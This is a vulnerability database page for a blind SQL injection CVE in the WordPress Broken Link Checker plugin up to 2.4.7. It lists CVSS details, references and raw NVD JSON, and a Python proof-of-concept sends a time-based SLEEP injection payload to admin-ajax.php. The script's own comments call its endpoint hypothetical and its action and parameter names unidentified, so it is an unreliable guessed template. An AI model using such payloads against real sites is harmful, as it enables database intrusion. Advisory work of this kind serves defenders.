CVE-2026-39466

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPMU DEV - Your All-in-One WordPress Platform Broken Link Checker broken-link-checker allows Blind SQL Injection.This issue affects Broken Link Checker: from n/a through <= 2.4.7.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Broken Link Checker <= 2.4.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_sqli(target_url, admin_cookie):
    """
    PoC for CVE-2026-39466: Blind SQL Injection in Broken Link Checker
    Requires High Privileges (Admin).
    """
    # Target endpoint (hypothetical based on plugin structure)
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload extracting database version using time-based blind injection
    # Note: The exact parameter name needs to be identified via source code review
    payload = {
        "action": "blc_some_action", 
        "link_id": "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
    }

    headers = {
        "Cookie": admin_cookie,
        "User-Agent": "CVE-2026-39466-Scanner"
    }

    try:
        response = requests.post(endpoint, data=payload, headers=headers, timeout=10)
        if response.elapsed.total_seconds() >= 5:
            print("[+] Vulnerability confirmed! Response delayed.")
        else:
            print("[-] Vulnerability not detected or payload incorrect.")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage
# exploit_sqli("http://target-wordpress.com", "wordpress_logged_in_xxx=...")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39466
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39466
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39466/
[4] VulDB https://vuldb.com/cve/CVE-2026-39466
[5] https://patchstack.com/database/Wordpress/Plugin/broken-link-checker/vulnerability/wordpress-broken-link-checker-plugin-2-4-7-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39466", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:21.830", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPMU DEV - Your All-in-One WordPress Platform Broken Link Checker broken-link-checker allows Blind SQL Injection.This issue affects Broken Link Checker: from n/a through <= 2.4.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/broken-link-checker/vulnerability/wordpress-broken-link-checker-plugin-2-4-7-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}